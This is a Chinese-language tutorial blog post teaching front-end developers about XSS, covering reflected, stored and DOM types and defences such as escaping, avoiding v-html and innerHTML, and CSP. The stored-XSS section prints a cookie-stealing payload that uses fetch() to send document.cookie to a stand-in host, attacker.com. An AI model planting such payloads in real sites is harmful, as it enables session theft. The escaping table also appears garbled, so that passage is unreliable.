你也许听过 "XSS 漏洞",但它到底是怎么产生的?为什么一段
<script>
标签就能"接管你的网站"?本文将用开发者能懂的方式,一步步讲清楚 XSS 是什么、有哪些类型、会造成什么后果,以及我们该如何防御它。
🧠 一句话理解 XSS
XSS(Cross-Site Scripting,跨站脚本攻击)是指攻击者将恶意脚本注入网页,一旦其他用户访问了这个网页,脚本就在用户浏览器中执行,从而达到"劫持用户"的目的。
💥 一个经典 XSS 示例
你的网站允许用户提交评论,你这样渲染:
css
<div>用户评论:{{ comment }}</div>
有一天,攻击者输入:
xml
<script>alert('你被XSS了!')</script>
如果你没有做任何转义,最终页面会变成:
xml
<div>用户评论:<script>alert('你被XSS了!')</script></div>
这段脚本真的会在其他访问页面的用户浏览器里执行!
而 alert 只是冰山一角,真正的攻击可能是:
- 窃取用户 Cookie
- 模拟用户操作
- 注入木马下载链接
- 劫持页面跳转
- 记录用户输入(键盘监听)
🧭 XSS 有哪些类型?
XSS 攻击分为三大类:反射型、存储型、DOM 型。
下面用最简洁、最实用的例子来区分这三类:
1️⃣ 反射型 XSS(Reflective)
恶意代码在 URL 参数中,服务器直接反射回来。
🧪 示例:
用户访问这个链接:
xml
https://example.com?msg=<script>alert('XSS')</script>
后端没有处理,直接原样渲染:
css
<p>你输入了:{{ msg }}</p>
⚠️ 用户一打开链接,XSS 就立即触发。
这种攻击方式通常结合钓鱼邮件/二维码传播,一旦点击就中招。
2️⃣ 存储型 XSS(Stored)
恶意代码存储在数据库中,其他用户访问时才触发。
🧪 示例:
攻击者发布一条评论:
xml
<script>fetch('http://attacker.com/cookie?data=' + document.cookie)</script>
这条评论保存在数据库,其他访问这个页面的用户都会触发 XSS。
⚠️ 危害最大,持久生效,常见于论坛、博客、留言板、商城评论区等。
3️⃣ DOM 型 XSS(前端操作 DOM 时中招)
恶意代码不通过服务器,而是直接注入到前端脚本中。
🧪 示例:
xml
<script>
const hash = location.hash // #<script>alert(1)</script>
document.getElementById('msg').innerHTML = hash
</script>
攻击者通过 URL 将恶意内容放入 location.hash,前端开发者将它 innerHTML 进页面,XSS 即刻执行。
📉 XSS 会造成什么后果?
-
盗取用户 Cookie(可以伪造登录)
-
控制用户账号行为(转账、发帖、点赞等)
-
植入钓鱼页面或假登录框
-
传播病毒木马
-
监听用户输入(键盘记录)
XSS 本质上是:用你的网页当"跑马场",让攻击者的脚本在你的用户浏览器上做坏事。
🛡 如何防御 XSS?前端开发者必须掌握的几点
✅ 1. 所有输出内容必须转义
不要直接插入用户内容到 HTML!必须转义:
xml
<!-- ❌ 危险 -->
<div>{{ comment }}</div>
<!-- ✅ 安全 -->
<div v-text="comment"></div> <!-- Vue 会自动转义 -->
或者后端输出也进行转义:
- < 替换成 <
-
替换成 >
- " 替换成 "
- ' 替换成 '
✅ 2. 禁止使用
v-html
渲染用户内容
xml
<!-- ❌ 高风险 -->
<div v-html="userInput"></div>
v-html 会将字符串当作 HTML 插入页面,非常容易被 XSS 利用。
⚠️ 如果你一定要用,请确保内容经过严格白名单过滤(如 DOMPurify)。
✅ 3. 前端不要使用
innerHTML
动态插入不可信内容
ini
// ❌ 不要这样做
el.innerHTML = userComment
使用 safer API:
ini
el.textContent = userComment // 安全,自动转义
✅ 4. 后端设置 Content Security Policy(CSP)
通过 HTTP 头部告诉浏览器:哪些脚本是可信的,禁止页面执行不受信任的脚本。
arduino
Content-Security-Policy: default-src 'self'
效果是即使页面被插入了 ,也不会被浏览器执行。
✅ 5. 使用 Web 安全框架或组件
前端:Vue、React 默认对模板输出做了转义
后端:Laravel、Spring Boot、Django、Express 等框架也提供自动转义机制
但你要记住:安全永远不能只靠框架,自己的代码也要小心。
🔎 一些你可能忽略的"隐形"XSS 注入点
场景 | 风险点 |
---|---|
动态设置 href, src | javascript: 协议可能执行代码 |
SVG 中嵌入 | 浏览器可能解析执行 |
富文本编辑器 | 若不过滤,可能被注入脚本 |
input 的 value 属性 | 也会被插入 HTML,需转义 |
📌 总结:记住这五句话,防住 90% 的 XSS
- 所有用户输入都不可信!必须验证 + 转义
- 千万不要使用 v-html、innerHTML 渲染不受控内容
- 不要用 javascript: 协议当作链接地址
- 输入和输出都需要防御 XSS,不是"后端的锅"
- 设置 CSP 安全策略,最后一层防线
📮 欢迎关注我